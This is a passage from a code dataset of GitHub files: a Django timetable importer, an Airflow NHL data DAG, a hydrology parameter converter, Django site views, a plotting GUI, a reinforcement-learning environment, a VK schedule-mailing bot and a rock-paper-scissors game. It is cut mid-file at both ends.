*args, **options):\n if not options.get('xls_filenames'):\n raise CommandError('Pass the correct xls file, Luke!')\n\n _DAY_LIST = {'пнд': 1, 'втр': 2, 'срд': 3, 'чтв': 4, 'птн': 5,\n 'сбт': 6}\n\n _TYPE_LIST = {t_name: t_id for (t_id, t_name) in Lesson.TYPE_LIST}\n _TYPE_LIST.update({'практичне': 1})\n\n _POSITIONS_LIST = {'аспірант': 0, 'асистент': 1, 'старший викл': 2,\n 'доцент': 3, 'професор': 4}\n\n _NAU_COORDS = {'lat': Decimal('50.4374764'),\n 'lon': Decimal('30.4261333')}\n\n def save_subj(lesson):\n assert isinstance(lesson, dict), 'lesson should be dict instance'\n # First, create Teacher record\n tchr = lesson['teacher']\n tchr['name'] = tchr['name'].strip().split(' ')\n tchr['name'].append(tchr['name'][1].split('.')[0])\n tchr['name'][1] = tchr['name'][1].split('.')[1].strip('.')\n\n teacher, teacher_created = Teacher.objects.get_or_create(\n last_name=lesson['teacher']['name'][0],\n position=lesson['teacher']['position'],\n defaults={\n 'first_name': tchr['name'][1],\n 'middle_name': tchr['name'][2],\n })\n teacher.save()\n\n # Second, create Subject\n sbj, created_sbj = \\\n Subject.objects.get_or_create(full_name=lesson['subject'])\n sbj.save()\n\n # Third, create Room in a Building\n building, created_building = \\\n Building.objects.get_or_create(\n name=lesson['room'].split('.')[0],\n defaults={'latitude': _NAU_COORDS['lat'],\n 'longitude': _NAU_COORDS['lon']})\n building.save()\n room, created_room = \\\n Room.objects.get_or_create(name=lesson['room'].split('.')[1],\n defaults={'type': lesson['type'],\n 'building': building})\n room.save()\n\n # Then, create Group\n group, group_created = Group.objects.get_or_create(\n name=lesson['group'],\n defaults={\n 'type': 0,\n # TODO: autonegotiate this\n 'degree': 0})\n group.save()\n\n # Finally, create Lesson\n l, l_created = Lesson.objects.get_or_create(\n number=lesson['num'],\n day=lesson['day'],\n week=lesson['week'],\n type=lesson['type'],\n defaults={\n 'subject': sbj, # Foreign\n 'teacher': teacher, # Foreign\n # 'groups': lesson['num'], # Foreign, Many;\n # fill after saving\n 'subgroup_num': lesson.get('subgroup'), # number of subgr\n 'room': room, # Foreign\n }\n )\n\n l.save()\n # ... And bind a group to it\n l.groups.add(group)\n\n # detecting whether the row is empty, title, subtitle, schedule of\n # the whole group or a subgroup\n def get_row_category(rownum, sheet):\n row = sheet.row_values(rownum)\n if rownum + 1 < sheet.nrows:\n row2 = sheet.row_values(rownum + 1)\n if row[0].strip().lower() == 'нау':\n return 'title'\n if row[0].strip().lower() == 'пара' or \\\n row[2].strip().lower() == 'підгрупа 1':\n return 'subtitle'\n if len(row[8].strip()) + len(row[6].strip()) < 1:\n return 'empty string'\n\n try:\n if len(row2[3].strip()) + len(row2[7].strip()) > 0:\n return 'subgroup'\n if len(row2[8].strip()) > 0:\n return 'group_lesson'\n except:\n return 'unknown'\n\n return 'unknown'\n\n def parse_title(row):\n base_lesson = {}\n base_lesson['faculty'], \\\n base_lesson['group'] = row[1].strip().split(' ')\n base_lesson['major'] = row[4].strip()\n base_lesson['week'] = row[11].strip().endswith('1')\n base_lesson['subgroup'] = None\n return base_lesson\n\n def parse_group_lesson(row, row2, base_lesson):\n lesson_num = int(row[1])\n if lesson_num == 1:\n # row with the 1st lesson contains data about weekday\n base_lesson['day'] = _DAY_LIST[row[0].strip().lower()]\n\n lesson = base_lesson.copy()\n lesson['num'] = lesson_num\n lesson['subject'] = row[2].strip()\n lesson['room'] = row[6].replace(' ', '')\n lesson['type'] = _TYPE_LIST[row[8].strip()\n # Someone 'wise' put latin i instead\n # of cyrillic one, fixing this:\n .lower().replace('i', 'і')]\n lesson['teacher'] = {\n 'name': row[10].strip(),\n 'position': _POSITIONS_LIST[row2[8].strip().lower()],\n }\n return lesson\n\n def parse_subgroup1_lesson(row, row2, base_lesson):\n lesson_num = int(row[1])\n if lesson_num == 1:\n base_lesson['day'] = _DAY_LIST[row[0].strip().lower()]\n\n lesson = base_lesson.copy()\n lesson['num'] = lesson_num\n lesson['subject'] = row[2].strip()\n lesson['room'] = row2[2].replace(' ', '')\n lesson['type'] = _TYPE_LIST[row2[3].strip().lower()]\n lesson['teacher'] = {\n 'name': row2[5].strip(),\n 'position': _POSITIONS_LIST[row2[4].strip().lower()],\n }\n lesson['subgroup'] = 1\n return lesson\n\n def parse_subgroup2_lesson(row, row2, base_lesson):\n lesson_num = int(row[1])\n if lesson_num == 1:\n base_lesson['day'] = _DAY_LIST[row[0].strip().lower()]\n\n lesson = base_lesson.copy()\n lesson['num'] = lesson_num\n lesson['subject'] = row[6].strip()\n lesson['room'] = row2[6].replace(' ', '')\n lesson['type'] = _TYPE_LIST[row2[7].strip().lower()]\n lesson['teacher'] = {\n 'name': row2[11].strip(),\n 'position': _POSITIONS_LIST[row2[9].strip().lower()],\n }\n lesson['subgroup'] = 2\n return lesson\n\n def import_xls(xls_file):\n \"\"\"\n Function: import_xls\n Summary: Parse XLS structure and save changes\n Examples: import_xls('./path/to/file')\n Attributes:\n @param (xls_file): str\n Returns: void\n \"\"\"\n\n wb = open_workbook(xls_file, on_demand=True)\n sheet = wb.get_sheet(0)\n\n # list of parsed items\n lessons = []\n\n # basic structure of lesson\n base_lesson = {}\n\n rownum = 0\n\n while rownum < sheet.nrows:\n category = get_row_category(rownum, sheet)\n row = sheet.row_values(rownum)\n\n if category == 'subtitle':\n rownum += 4\n # there are always 3 empty strings after the subtitle\n continue\n\n if category == 'empty string':\n rownum += 1\n continue\n\n if category == 'title':\n # reset base_lesson if we've found the next week\n base_lesson = parse_title(row)\n\n rownum += 3\n continue\n\n if rownum + 1 < sheet.nrows:\n row2 = sheet.row_values(rownum + 1)\n\n if category == 'group_lesson':\n lesson = parse_group_lesson(row, row2, base_lesson)\n lessons.append(lesson)\n\n rownum += 2\n continue\n\n elif category == 'subgroup':\n if len(row[2].strip()) > 0: # schedule of subgroup 1\n lesson = parse_subgroup1_lesson(row, row2, base_lesson)\n lessons.append(lesson)\n\n if len(row[6].strip()) > 0: # schedule of subgroup 2\n lesson = parse_subgroup2_lesson(row, row2, base_lesson)\n lessons.append(lesson)\n\n rownum += 2\n continue\n\n rownum += 1\n\n for l in lessons:\n save_subj(l)\n\n for xls_file in options['xls_filenames']:\n import_xls(xls_file)\n","repo_name":"bluebirrrrd/nau-timetable","sub_path":"nau_timetable/management/commands/importxls.py","file_name":"importxls.py","file_ext":"py","file_size_in_byte":9518,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"37"} +{"seq_id":"34463081078","text":"import airflow\nfrom airflow import DAG\nfrom airflow.decorators import task\nfrom airflow.providers.amazon.aws.operators.ecs import EcsRunTaskOperator as ECSOperator\nfrom datetime import datetime, timedelta\nimport pendulum\n\n\n# Environment Variable\nfrom airflow.models import Variable\n\nlocal_tz = pendulum.timezone('America/Denver')\nsubnet = 'subnet-086f7f66dfd373f93'\nlogs_group = 'airflow-nhl-pipeline-airflow-env-Task'\ncluster = 'nhl-data-pipeline'\ntask_definition = 'airflow-data-pipelines'\ncontainer_name = 'airflow-data-pipelines'\n\n# Script variables\nsource = 'seasons'\nendpoint = 'https://www.hockey-reference.com/leagues/'\nyear = datetime.year\ns3_bucket_name = 'nhl-data-raw'\nsnowflake_conn = 'standard'\nenv = 'production'\n\n\nwith DAG(\n 'nhl_season_schedule_dag',\n default_args={\n 'depends_on_past': False,\n 'retries': 1,\n 'retry_delay': timedelta(minutes=5)\n },\n description=\"NHL Database ETL Job\",\n schedule_interval='30 16 * * *',\n start_date=datetime.now(),\n catchup=False\n) as dag:\n nhl_seasons = ECSOperator(\n task_id=\"nhl_seasons\",\n cluster=f\"{cluster}\",\n task_definition=f\"{task_definition}\",\n launch_type=\"FARGATE\",\n overrides={\n \"containerOverrides\": [\n {\n \"name\": f\"{container_name}\",\n \"command\": [\n f\"python3 src/scripts/snowflake_transfer.py {source} {endpoint} {year} {s3_bucket_name} {snowflake_conn} {env}\"\n ]\n }\n ],\n },\n network_configuration={'awsvpcConfiguration': {'assignPublicIp': 'ENABLED', 'subnets': [f'{subnet}']}},\n awslogs_group=f\"{logs_group}\"\n )\n","repo_name":"RyanSchraeder/NHL-Database","sub_path":"dags/nhl_schedule_dag.py","file_name":"nhl_schedule_dag.py","file_ext":"py","file_size_in_byte":1716,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"21523753369","text":"#!/usr/bin/env python\n\n\"\"\"\nNIJSSEN2001_to_ARNO.py\n\nA simple script that converts VIC NIJSSEN2001 soil parameters to\nstandard VIC ARNO baseflow parameters.\n\"\"\"\n\nimport argparse\nfrom netCDF4 import Dataset\nfrom ncparam2ascii import read_netcdf\n\n\n# -------------------------------------------------------------------- #\ndef main():\n\n nc_params = process_command_line()\n\n data, atts = read_netcdf(nc_params)\n\n data = convert(data)\n\n write(nc_params, data)\n\n return\n# -------------------------------------------------------------------- #\n\n# -------------------------------------------------------------------- #\n#\ndef write(nc_params, data):\n \"\"\"Update netCDF file with new parameters\"\"\"\n\n f = Dataset(nc_params, 'r+')\n\n note1 = 'ARNO baseflow parameter'\n variables = ['Ds', 'Dsmax', 'Ws', 'c']\n for var in variables:\n print('Writing updated param: {}'.format(var))\n f.variables[var][:] = data[var]\n f.variables[var].note = note1\n\n note2 = 'Converted NIJSSEN2001 baseflow params to ARNO baseflow params'\n try:\n f.history += note2\n except:\n f.history = note2\n\n f.close()\n\n return\n# -------------------------------------------------------------------- #\n\n\n# -------------------------------------------------------------------- #\ndef convert(data):\n \"\"\"Convert baseflow parameters to ARNO style\"\"\"\n\n max_moist = calc_max_moist(data['depth'],\n data['bulk_density'],\n data['soil_density'])\n\n Ds, Dsmax, Ws, c = calc_params(data['Ds'], data['Dsmax'],\n data['Ws'], data['c'],\n max_moist[-1])\n\n data['Ds'], data['Dsmax'], data['Ws'], data['c'] = Ds, Dsmax, Ws, c\n\n return data\n# -------------------------------------------------------------------- #\n\n\n# -------------------------------------------------------------------- #\ndef calc_max_moist(depth, bulk_density, soil_density):\n \"\"\" calculate the maximum soil moisture of each layer \"\"\"\n porosity = 1.0 - bulk_density / soil_density\n max_moist = depth * porosity * 1000.\n return max_moist\n# -------------------------------------------------------------------- #\n\n\n# -------------------------------------------------------------------- #\ndef calc_params(d1, d2, d3, d4, max_moist):\n \"\"\"\n Convert parameters\n\n VIC Code:\n if(options.BASEFLOW == NIJSSEN2001) {\n layer = options.Nlayer-1;\n temp.Dsmax = temp.Dsmax *\n pow((double)(1./(temp.max_moist[layer]-temp.Ws)), -temp.c) +\n temp.Ds * temp.max_moist[layer];\n temp.Ds = temp.Ds * temp.Ws / temp.Dsmax;\n temp.Ws = temp.Ws/temp.max_moist[layer];\n\n\n d? - values corresponding to the 4 NIJSSEN2001 baseflow parameters\n max_moist - maximum moisture of the bottom soil layer\n \"\"\"\n\n Dsmax = d2 * pow(1./(max_moist - d3), -d4) + d1 * max_moist\n Ds = d1 * d3 / Dsmax\n Ws = d3 / max_moist\n c = d4\n\n return Ds, Dsmax, Ws, c\n# -------------------------------------------------------------------- #\n\n\n# -------------------------------------------------------------------- #\ndef process_command_line():\n \"\"\"\n Process command line arguments.\n \"\"\"\n parser = argparse.ArgumentParser(description='Simple script to convert '\n 'between NIJSSEN2001 and ARNO'\n ' baseflow parameters')\n parser.add_argument(\"nc_params\",\n type=str,\n help=\"Input netCDF VIC parameter file\")\n\n args = parser.parse_args()\n\n return args.nc_params\n# -------------------------------------------------------------------- #\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"mrstu/tile-sim-tools","sub_path":"VICpy/param_tools/NIJSSEN2001_to_ARNO.py","file_name":"NIJSSEN2001_to_ARNO.py","file_ext":"py","file_size_in_byte":3814,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"2660728239","text":"from django.shortcuts import render,redirect,get_object_or_404\nfrom django.http import HttpResponse,HttpResponseRedirect\nfrom django.contrib.auth.models import auth,User\nfrom django.contrib import messages\nfrom datetime import datetime\nfrom django.urls import reverse\nfrom .models import reserve as reserve_model,why_powertree as why_model,team, products,advisory_board,image_gallery,key_clients,supported_by,projects,products_usedin_project,whats_new as blog,varient\nimport os\nfrom django.conf import settings\nimport random\n# Create your views here.\n\ndef index(request):\n images=image_gallery.objects.all()\n clients = key_clients.objects.all()\n supported = supported_by.objects.all()\n return render(request, 'index.html',{\"images\":images , \"clients\" :clients, \"supported\":supported})\n\ndef reserve(request):\n if request.method==\"POST\":\n i_am = request.POST[\"i_am\"]\n name = request.POST[\"full-name\"]\n email = request.POST[\"email\"]\n contact = request.POST[\"number\"]\n address_1 = request.POST[\"address_1\"]\n address_2 = request.POST[\"address_2\"]\n state = request.POST[\"state\"]\n comment = request.POST[\"comment\"]\n\n if( '@' not in email or '.com' not in email ):\n messages.info(request, 'please enter proper email')\n return redirect('reserve')\n\n \n if (not(contact[1:].isnumeric())):\n messages.info(request, contact)\n return redirect('reserve')\n\n elif('+' not in contact):\n contact=\"+\"+contact\n \n data = reserve_model.objects.create(i_am=i_am, name=name, email=email, contact= contact, address_ln1=address_1, address_ln2=address_2, state=state, comment=comment)\n data.save()\n return redirect('index')\n\n return render(request, 'reserve.html')\n\ndef why_powertree(request):\n contents = why_model.objects.all()\n return render(request, 'why_powertree.html', {'contents': contents})\n\ndef aboutus(request):\n all_team = team.objects.all()\n advisors = advisory_board.objects.all()\n return render(request, 'aboutus.html',{\"all_team\":all_team, \"advisors\":advisors})\n\ndef whats_new(request):\n all_blogs = blog.objects.all().order_by(\"pk\").reverse()\n return render(request, \"whats_new.html\",{\"all_blogs\" : all_blogs})\n\ndef product(request):\n product=products.objects.all()\n return render(request, \"product.html\", {'products': product})\n\ndef project(request):\n images = image_gallery.objects.all()\n all_projects = projects.objects.all()\n top_two = projects.objects.all()[:2]\n all_clients =key_clients.objects.all()\n return render(request, \"project.html\", {'images':images , \"projects\":all_projects, \"top\":top_two, \"clients\": all_clients})\n\ndef project_details(request,pk):\n project_detail = projects.objects.get(id=pk)\n all_products = products_usedin_project.objects.all()\n product = list()\n count =0\n for i in all_products:\n if i.project_id == project_detail:\n product.insert(count, i)\n count = count+1\n return render(request, \"project_details.html\" , {\"project\" : project_detail, \"products\" : product , 'count':count})\n\ndef read_blog(request,pk):\n selected = blog.objects.get(id=pk)\n return render(request, 'blog.html', {\"selected\":selected})\n\ndef our_team(request):\n teams = team.objects.all()\n return render(request, 'team.html',{\"teams\":teams})\n\ndef product_details(request,pk):\n selected = products.objects.get(id=pk)\n try:\n varients = varient.objects.filter(product_id=selected.pk)\n except:\n varients = None\n return render(request, 'product_details.html',{\"selected\":selected,'varients':varients})","repo_name":"vidit-od/Imagine-Powertree","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3695,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"39394951350","text":"import tabela_excel as tbe\r\nimport interface\r\nimport calculos\r\n\r\ndef receber_tabela(janela):\r\n atual = None\r\n for input in janela.inputs:\r\n if input.nome == \"arq\":\r\n atual = input\r\n\r\n tab = tbe.Tabela(atual.input)\r\n tab.ler()\r\n return tab\r\n\r\n\r\ndef receber_ponto(janela):\r\n atual = None\r\n for input in janela.inputs:\r\n if input.nome == \"ponto\":\r\n atual = input\r\n\r\n return int(atual.input)\r\n\r\n\r\ndef receber_conteudo(**kwargs):\r\n janela = kwargs[\"janela\"]\r\n func = kwargs[\"func\"]\r\n ponto = receber_ponto(janela)\r\n tab = receber_tabela(janela)\r\n conteudo = \"\"\r\n objeto = func(tab, ponto)\r\n try:\r\n valor = str(round(objeto.resultado, 6))\r\n \r\n except TypeError:\r\n valor = \"None\"\r\n erro = \"None\"\r\n\r\n conteudo += \"f({}) = \".format(ponto) + valor + \"\\n\"\r\n try:\r\n erro = str(round(objeto.erro, 6))\r\n conteudo += \"erro = \" + erro+ \"\\n\"\r\n \r\n except:\r\n pass\r\n\r\n atualizar_conteudo(janela, conteudo)\r\n\r\n\r\ndef atualizar_conteudo(janela, conteudo):\r\n atual = None\r\n for texto in janela.textos:\r\n if texto.nome == \"resul\":\r\n atual = texto\r\n\r\n atual.conteudo = conteudo\r\n\r\n\r\ndef plotar_tabela(**kwargs):\r\n janela = kwargs[\"janela\"]\r\n tab = receber_tabela(janela)\r\n calculos.plotar_grafico(tab)\r\n\r\n\r\ndef plotar_func(**kwargs):\r\n janela = kwargs[\"janela\"]\r\n func_ini = kwargs[\"func\"]\r\n tab = receber_tabela(janela)\r\n ponto = receber_ponto(janela)\r\n objeto = func_ini(tab, ponto)\r\n calculos.plotar_func(objeto, tab)\r\n\r\n\r\ndef plotar_tudo(**kwargs):\r\n janela = kwargs[\"janela\"]\r\n funcs_ini = kwargs[\"funcs\"]\r\n tab = receber_tabela(janela)\r\n ponto = receber_ponto(janela)\r\n objetos = []\r\n for func_ini in funcs_ini:\r\n objetos.append(func_ini(tab, ponto))\r\n\r\n calculos.plotar_tudo(objetos, tab)\r\n\r\n\r\ndef setarbots(janela: interface.Janela):\r\n \"\"\"ideia de função para criar e adicionar botoes\"\"\"\r\n bot_plotar = interface.Botao(10, 90, 0, 0, \"plotar tabela\", \"plotar\", 30, [120, 120, 120], plotar_tabela, {\"janela\": janela})\r\n bot_interpol = interface.Botao(10, 170, 0, 0, \"interpolação\", \"interpol\", 30, [120, 120, 120], receber_conteudo, {\"janela\": janela, \"func\": calculos.interpol})\r\n bot_plotar_poli = interface.Botao(300, 170, 0, 0, \"plotar poli\", \"plotar_poli\", 30, [120, 120, 120], plotar_func, {\"janela\": janela, \"func\": calculos.interpol})\r\n bot_linear = interface.Botao(10, 210, 0, 0, \"regressão linear\", \"linear\", 30, [120, 120, 120], receber_conteudo, {\"janela\": janela, \"func\": calculos.linear})\r\n bot_plotar_reta = interface.Botao(300, 210, 0, 0, \"plotar reta\", \"plotar_reta\", 30, [120, 120, 120], plotar_func, {\"janela\": janela, \"func\": calculos.linear})\r\n bot_plotar_tudo = interface.Botao(10, 250, 0, 0, \"plotar tudo\", \"plotar_tudo\", 30, [120, 120, 120], plotar_tudo, {\"janela\": janela, \"funcs\": [calculos.linear, calculos.interpol]})\r\n janela.addBotões([bot_interpol, bot_plotar_poli, bot_linear, bot_plotar_reta, bot_plotar, bot_plotar_tudo])\r\n\r\n\r\ndef setartextos(janela: interface.Janela):\r\n text_arq = interface.Texto(10, 10, 30, \"arquivo:\", \"arquivo\")\r\n text_ponto = interface.Texto(10, 50, 30, \"ponto:\", \"ponto\")\r\n text_calc = interface.Texto(10, 130, 30, \"calculos:\", \"calc\")\r\n text_resul = interface.Texto(10, 290, 30, \"\", \"resul\")\r\n janela.addTextos([text_arq, text_ponto, text_calc, text_resul])\r\n\r\n\r\ndef setarinputs(janela: interface.Janela):\r\n inpu_arq = interface.Inp(160, 10, 20, 30, \"exemplo_raiz.xlsx\", \"arq\")\r\n inpu_ponto = interface.Inp(160, 50, 20, 30, \"24\", \"ponto\")\r\n janela.addInputs([inpu_arq, inpu_ponto])\r\n\r\n\r\ndef main():\r\n \"\"\"cria um objeto Janela, organiza os botoes, textos e inputs.\r\n Apos isso seta os valores iniciais\"\"\"\r\n janela = interface.Janela(1000, 700, \"menu\")\r\n setarbots(janela)\r\n setartextos(janela)\r\n setarinputs(janela)\r\n janela.iniciar()\r\n return janela\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"Matheus2727/Estimativas","sub_path":"src/implementar_interface.py","file_name":"implementar_interface.py","file_ext":"py","file_size_in_byte":4042,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35764898510","text":"import gym\nfrom gym.spaces import Box, Dict, Discrete\nimport numpy as np\nimport random\n\n\nclass ParametricActionsCartPole(gym.Env):\n \"\"\"Parametric action version of CartPole.\n\n In this env there are only ever two valid actions, but we pretend there are\n actually up to `max_avail_actions` actions that can be taken, and the two\n valid actions are randomly hidden among this set.\n\n At each step, we emit a dict of:\n - the actual cart observation\n - a mask of valid actions (e.g., [0, 0, 1, 0, 0, 1] for 6 max avail)\n - the list of action embeddings (w/ zeroes for invalid actions) (e.g.,\n [[0, 0],\n [0, 0],\n [-0.2322, -0.2569],\n [0, 0],\n [0, 0],\n [0.7878, 1.2297]] for max_avail_actions=6)\n\n In a real environment, the actions embeddings would be larger than two\n units of course, and also there would be a variable number of valid actions\n per step instead of always [LEFT, RIGHT].\n \"\"\"\n\n def __init__(self, max_avail_actions):\n # Use simple random 2-unit action embeddings for [LEFT, RIGHT]\n self.left_action_embed = np.random.randn(2)\n self.right_action_embed = np.random.randn(2)\n self.action_space = Discrete(max_avail_actions)\n self.wrapped = gym.make(\"CartPole-v0\")\n self.observation_space = Dict({\n \"action_mask\": Box(0, 1, shape=(max_avail_actions, )),\n \"avail_actions\": Box(-10, 10, shape=(max_avail_actions, 2)),\n \"cart\": self.wrapped.observation_space,\n })\n\n def update_avail_actions(self):\n self.action_assignments = np.array([[0., 0.]] * self.action_space.n)\n self.action_mask = np.array([0.] * self.action_space.n)\n self.left_idx, self.right_idx = random.sample(\n range(self.action_space.n), 2)\n self.action_assignments[self.left_idx] = self.left_action_embed\n self.action_assignments[self.right_idx] = self.right_action_embed\n self.action_mask[self.left_idx] = 1\n self.action_mask[self.right_idx] = 1\n\n def reset(self):\n self.update_avail_actions()\n return {\n \"action_mask\": self.action_mask,\n \"avail_actions\": self.action_assignments,\n \"cart\": self.wrapped.reset(),\n }\n\n def step(self, action):\n if action == self.left_idx:\n actual_action = 0\n elif action == self.right_idx:\n actual_action = 1\n else:\n raise ValueError(\n \"Chosen action was not one of the non-zero action embeddings\",\n action, self.action_assignments, self.action_mask,\n self.left_idx, self.right_idx)\n orig_obs, rew, done, info = self.wrapped.step(actual_action)\n self.update_avail_actions()\n obs = {\n \"action_mask\": self.action_mask,\n \"avail_actions\": self.action_assignments,\n \"cart\": orig_obs,\n }\n return obs, rew, done, info\n","repo_name":"HuantWang/SUPERSONIC","sub_path":"third_party/ray/rllib/examples/env/parametric_actions_cartpole.py","file_name":"parametric_actions_cartpole.py","file_ext":"py","file_size_in_byte":3005,"program_lang":"python","lang":"en","doc_type":"code","stars":119,"dataset":"github-code","pt":"37"} +{"seq_id":"30669901322","text":"import threading\nimport time\nimport sqlite3 as sql\nimport json\n\nimport vk_api\nimport vk_api.exceptions\n\nfrom kgtt_bot.schedule import TableParser,get_text,Group\nfrom kgtt_bot.vk import user_message\n\n\nclass ScheduleMailing:\n \n def __init__(self, __token : str, database : str, reload_time : int = 60) -> None:\n self.reload_time : int = reload_time\n self.db = sql.connect(database)\n self.__token = __token\n \n def FillStudGroups(self,schedule : dict):\n self.db.cursor().execute(\"DELETE FROM StudGroups;\")\n for key,value in schedule.items():\n self.db.cursor().execute(\"REPLACE INTO StudGroups (StudGroup, Schedule) VALUES (?,?)\",(key,str(value)))\n self.db.commit()\n \n @staticmethod\n def get_new_json(tableparser : TableParser) -> dict[str,dict]:\n gd = {}\n for group in tableparser.get_groups():\n try:\n group_key = group.upper().replace('-','')\n gd[group_key] = Group(tableparser,group).get_dictionary()\n except Exception:\n gd[group_key] = None\n return gd\n\n def get_old_json(self,tableparser : TableParser) -> dict[str,dict]:\n gd = {}\n for group in tableparser.get_groups():\n try:\n group = group.upper().replace('-','')\n request = self.db.cursor().execute(f\"\"\"SELECT json(Schedule) \n FROM StudGroups \n WHERE StudGroup = '{group}';\"\"\").fetchone()[0]\n gd[group] = json.loads(request)\n except Exception:\n gd[group] = None\n return gd\n\n def get_dictionaries(self) -> tuple[dict]:\n \"\"\"\nСобирает словари\\n\n:param old: Собирает словарь из базы данных (Таблица - StudGroups) \n:param new: Собирает данные из Google Table техникума\n \n \n \"\"\"\n while True:\n tp = TableParser('1rGJ4_4BbSm0qweN7Iusz8d55e6uNr6bFRCv_j3W5fGU')\n old : dict = self.get_old_json(tp)\n new : dict = self.get_new_json(tp)\n yield (old,new)\n time.sleep(self.reload_time)\n\n def message_with_schedule(self) -> None:\n try:\n text = get_text(self.new[self.group]).splitlines()\n text[0] = f'{text[0]} [Рассылка]'\n text = '\\n'.join(text)\n user_message(self.__token, self.id,text)\n except vk_api.exceptions.ApiError:\n print('Ошибка отправки сообщения')\n\n def mailing(self):\n \n def get_mailing_list() -> tuple:\n request = self.db.cursor().execute(\"SELECT UserID, UserGroup FROM UserGroups WHERE Mail = 1;\")\n return request.fetchall()\n \n MAILING_IDS : tuple = get_mailing_list()\n for user_id,group in MAILING_IDS:\n self.id = user_id\n self.group = group\n try:\n assert self.old[self.group] == self.new[self.group]\n except AssertionError:\n # Запускаем поток для отправки рассылки пользователю\n threading.Thread(target=self.message_with_schedule).start()\n except KeyError: \n print(f'Группа --{self.group}-- не найдена в таблице')\n continue\n\n def start(self):\n for old, new in self.get_dictionaries():\n self.old, self.new = old,new\n # Рассылка всем пользователям , подписавшимся на рассылку\n self.mailing()\n self.FillStudGroups(self.get_new_json(TableParser('1rGJ4_4BbSm0qweN7Iusz8d55e6uNr6bFRCv_j3W5fGU')))\n\n ","repo_name":"QuoNaro/kgtt-bot","sub_path":"src/kgtt_bot/schedule/schedule_mailing.py","file_name":"schedule_mailing.py","file_ext":"py","file_size_in_byte":3458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13702392755","text":"import random\n\n# Tested with python version 3.6\n\ndef computer_choice():\n\t# Get the computer's choice:\n\t# cmp_choice = random.randint(1, 3)\n\t# return cmp_choice\n\treturn random.randint(1, 3)\n\ndef user_choice():\n\t# Get user input:\n\t# Also making sure he inputs a integer (number)\n\ttry:\n\t\tchoice = int(input(\"Choice: \"))\n\texcept ValueError:\n\t\t# no valid number, you can choose how to handle it\n\t\t# Im lazy so i just let it set a number for the user\n\t\tprint(\"Not a number\")\n\t\tchoice = 1\n\n\t# Return the user's input so we can store it\n\treturn choice\n\ndef get_outcome(u_choice, cmp_choice):\n\t# Rock < Paper < Scissors < Rock\n\t# 1: 'Rock', 2: 'Paper', 3: 'Scissors'\n\tu_win = {1: 3, 2: 1, 3: 2}\t# Rock beats Scissors, Paper beats Rock, Scissors beat Paper\n\n\tif u_choice == cmp_choice:\n\t\tprint(\"It is a tie!\")\n\t\treturn 'tie'\t# Outcome is a tie\n\n\telif cmp_choice == u_win[u_choice]:\n\t\t# Ex. If the user has 1 (Rock) and the cmp has option 3 (Scissors)\n\t\t# The user wins (Rock > Scissors)\n\t\tprint(\"It is a win!\")\n\t\treturn 'win'\t# Congratz you won\n\n\telse:\n\t\tprint(\"It is a loss!\")\n\t\treturn 'lose'\t# You lost\n\n\ndef set_score(score, outcome):\n\tscores_inc = {'win': +1, 'lose': -1, 'tie': -0.5}\n\n\treturn (score + scores_inc[outcome])\n\n\t\"\"\"\n\t# Old version:\n\tif outcome == 'win':\n\t\tscore = score + 1\n\n\telif outcome == 'lose':\n\t\tscore = score - 1\n\n\telif outcome == 'tie':\n\t\tscore = score - 0.5\n\t\n\treturn score\n\t\"\"\"\n\n\ndef main():\n\tend_loop = False\n\tscore = 0\n\toptions = {1: 'Rock', 2: 'Paper', 3: 'Scissors'}\n\n\twhile not end_loop:\n\t\t# First we get the user's choice\n\t\tprint(\"Please choose a number:\\n{}\".format(options))\n\t\tu_choice = user_choice()\n\n\n\t\t# Then the computer's choice:\n\t\tcmp_choice = computer_choice()\n\t\tprint(\"The computer chose : {}\".format(options[cmp_choice] ) )\n\t\t# The number generated by computer_choice() is 1, 2 or 3\n\t\t# These numbers are defined inside the dictionary called options\n\t\t# if i call options[1] it will return 'Rock'\n\t\t# https://docs.python.org/3.6/tutorial/datastructures.html\n\n\t\t# Checking both choices to see who won\n\t\toutcome = get_outcome(u_choice, cmp_choice)\n\n\t\t# We got the outcome now we can edit the score\n\t\tscore = set_score(score, outcome)\n\n\t\t# Game ended ask user for another round, also display score\n\t\tprint(\"\\nScore: {}\".format(score))\n\t\tprint(\"Do you want to keep playing? (y/n)\")\n\n\t\trepeat = input(\"Y\\\\N: \").lower()\n\n\t\tif repeat != 'y':\n\t\t\t# User wants to stop:\n\t\t\tend_loop = True\n\n\treturn 0\n\n\nif __name__ == '__main__':\n\tmain()\n","repo_name":"Sain98/Python-Snippets","sub_path":"Rock Paper Scissors/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":2463,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"27919640001","text":"import sys\nimport os\nfrom subprocess import Popen, PIPE, STDOUT\nimport errno\nimport signal\nimport functools\nimport time\n\n# ----------------- #\n# Global Parameters #\n# ----------------- #\n\n# https://stackoverflow.com/questions/287871/how-to-print-colored-text-to-the-terminal\nclass bcolors:\n FAIL = '\\033[91m'\n ENDC = '\\033[0m'\n\n# optional argument GAP path\nGAP = '/bin/gap.sh'\nif sys.argv[1:]:\n GAP = sys.argv[1]\n\n# Delay after starting GAP, in sec\nDELAY = 0\n# Timeout for trying to read a line after a successful read, in sec\nTIMEOUT = 0.2\n# Memory for GAP session\nMEMORY = '3G'\n# Input directory\nIN = 'in'\n# Output directory\nOUT = 'out'\n# Temporary files\nTMPFILE = '%s/%s' % (OUT, 'tmp.txt')\nDUMPFILE = '%s/%s' % (OUT, 'dump.txt')\n\nif not os.path.exists(OUT):\n os.mkdir(OUT)\n\n# -------------- #\n# Timeout Helper #\n# -------------- #\n\nclass TimeoutError(Exception):\n pass\n\n# https://stackoverflow.com/questions/2281850/timeout-function-if-it-takes-too-long-to-finish?noredirect=1&lq=1\ndef timeout(time=10, error_message=os.strerror(errno.ETIME)):\n def decorator(func):\n def 